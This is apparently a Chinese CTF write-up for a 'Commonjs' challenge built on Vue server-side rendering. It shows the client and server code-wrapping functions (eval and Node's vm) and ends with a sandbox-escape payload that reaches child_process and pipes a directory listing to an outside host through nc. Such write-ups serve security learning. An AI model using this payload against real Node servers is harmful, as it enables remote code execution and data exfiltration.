Commonjs ( 2 solved )

题目的环境是 Vue + SSR ( Server Side Render ) , 详细信息可以参照官方的示例 Hacknews

辨别的方法也很简单,服务端渲染返回的 HTML 里会带有预填充信息,这里 Vue 的预填充标志是 window.__INITIAL_STATE__

触发漏洞的点

  1. 将自己的 commonjs 代码保存,点击 Save 会跳转到 URL /codes/:id
  2. 开启一个新的页面,利用模块导入和 const m = require('id') 将模块引入,再次保存
  3. 利用服务端渲染得到结果,可以发现依赖的模块进行了一次包装

在客户端中,可以找到对代码进行包装的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function warp (code) {
    try {
        const ret = eval(`(function (module, exports, require) { ${code} })`)
        if (typeof ret !== 'function') {
            throw new Error('type not valid')
        }
        return ret.toString()
    } catch (e) {
        return 'function (module, exports, require) {  }'
    }
}

同时因为服务端渲染的缘故,服务端也应该有一个类似的包装函数,并且返回一致

这里同样可以利用官方示例进行分析( src/api/create-api-client.jssrc/api/create-api-server.js

这里给出服务端包装函数代码,因为代码是在服务端跑,这里用的是官方提供的 vm 模块(利用构造 payload 从返回可以发现不是 eval 而是 vm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function warp (code) {
    try {
        const ret = vm.runInNewContext(`(function (module, exports, require) { ${code} })`, sandbox, { timeout: 500 })
        if (typeof ret !== 'function') {
            throw new Error('type not valid')
        }
        return ret.toString()
    } catch (e) {
        return 'function (module, exports, require) { }'
    }
}

由于 vm 模块是可以绕过的,可以直接构造代码进行 RCE,这里给出一种 payload

1
2
3
// payload

"}, (() => { this.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls . | nc host port') })(), {"